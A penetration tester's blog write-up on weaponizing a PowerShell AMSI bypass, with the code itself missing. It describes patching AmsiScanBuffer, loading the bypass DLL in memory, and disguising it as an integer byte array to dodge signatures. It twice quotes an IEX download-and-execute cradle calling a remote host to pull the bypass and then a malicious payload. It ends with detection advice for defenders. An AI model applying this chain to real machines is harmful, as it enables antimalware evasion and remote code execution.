Weaponizing AMSI bypass with PowerShell


The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows applications and services to integrate with any antimalware product that’s present on a machine. You can find more information on it here: https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal.

A while ago a colleague told me about an engagement in which he was running into a scenario where AMSI was unfortunately blocking his somewhat malicious PowerShell code. Due to several constrains it turned out that a lot of the known AMSI bypass techniques where not feasible for the given scenario. So I decided to do some researching on AMSI and known ways of bypassing it. Long story short: there are multiple publicly known approaches on bypassing AMSI (like Component Object Model (COM) Hijacking).  However for my specific scenario I ended up weaponizing a nifty bypass technique in PowerShell which is based on a great approach documented by Cyberark in this blog post:


I published the implementation in my GIT (https://github.com/0xB455/AmsiBypass) back then, but unfortunately didn’t find the time to document it here as well. After attending the “Windows PowerShell for Security Professionals” training held by @carlos_perez and @curi0usjack during this years Troopers conference, I decided it was time for me to play around with some POSH stuff again and therefor I’m trying to catch up with the documentation of the bypass implementation now as well.


AMSI is relying on the AmsiScanBuffer function which takes the buffer to be scanned as well as the buffer length. As this stuff is running in user mode, one can control the length of the buffer and can therefor bypass the processing of the actual buffer.

Game Over. AMSI is dead.

Additional information

If you want to get a better understanding of how AMSI ticks and how to break it I can recommend the talk given by Dave Kennedy during last years Wild West Hackin’ Fest:

Weaponizing the Cyberark AMSI bypass with POSH

The general approach for applying the AMSI bypass would be compiling the C# code you can find in my GIT (https://github.com/0xB455/AmsiBypass) to a managed DLL and loading it to the PowerShell console via [System.Reflection.Assembly]::LoadFile().

Here is how the patch from my implementation looks in action:

AMSI bypass screenshot

Screenshot of PowerShell running the AMSI bypass

However from an attackers point of view this would be undesirable, as one would be required to loudly drop a DLL on the target system. Part of my job involves working on IT forensic projects from time to time and I’ve seen many cases where attackers actually unnecessarily dropped DLLs on their targets leaving avoidable traces. Even though they were clearly trying to follow OPSEC. Even though it might be relevant for an attacker in order to perform DLL Side-Loading attacks, touching the disk should be a no-no if one does not want blue teams/IT forensic teams to easily resume tracks. Luckily with Powershell one can also reflect and assemble a DLL in-memory during runtime, which would be a proper way to execute our AMSI bypass.

So first of all we will take our compiled bypass DLL and encode it to base64:

Afterwards we will reflect and execute it during runtime:

That’s all we need, isn’t it? Well, there is a catch. AMSI is facilitating string based detection and it is likely that certain patterns of the base64 string might end up being blacklisted (e.g. after publicly posting it on your blog 🤔). During my research I stumbled upon Andre Marques‘ (@_zc00l) blog and noticed that he followed a similar approach. Also part of his base64 string was blacklisted a while after he publicly posted it online. So one great way of avoiding this, is by reflecting the DLL as a byte array in the integer format: 

It is very unlikely that the people working on AMSI are going to add sequences of integers to their string based blacklist, as this would generate a lot of false positives with legitimate scripts. However if they do so, there are still other ways around it like XORing the stuff with a sequence key, scrambling up the int sequence etc.

In order to build the int byte array representation, I used the following POSH snippet and pasted the output into my script – I’m pretty sure that there are smarter ways of doing this:

Byte Array as Int

Byte Array as Int

Stitching it all together

In the scenario given by my colleague it was required to:

  • pull-in and execute the PowerShell code remotely via IEX(new-object net.webclient).downloadstring(‘https://remote.host/posh’);
  • execute everything directly in memory while not touching the disk

I ended up splitting the execution into two phases.

  • Phase 1: bypass AMSI
  • Phase 2: execute dark magic

Also I found myself required to insert a Start-Sleep statement in order to assure that the malicious code is being executed after the in-memory patching was properly applied. Chaining multiple IEX directly into one another will be processed directly and any bad stuff will still be caught by AMSI.

So here is the code snippet which is called via IEX(new-object net.webclient).downloadstring(‘https://remote.host/phase1’);  for executing the bypass and then pulling the final code:


So as AMSI is clearly dead by design, what is left do for the blue team? Basically you won’t be able to stop this kind of bypass. I recommend to put your energy into implementing more transparency by proper logging of script blocks and alerting of unusual code statements being run on your systems. Watch out for anomalies and alert on them. For instance [Reflection.Assembly] is something that most PowerShell scripts won’t be executing on a daily basis in your environment, right? If so, you might have interesting PowerShell use-cases or eventually a security problem 😉

This entry was posted in Researching, Windows, Write-Up and tagged , , , , , . Bookmark the permalink.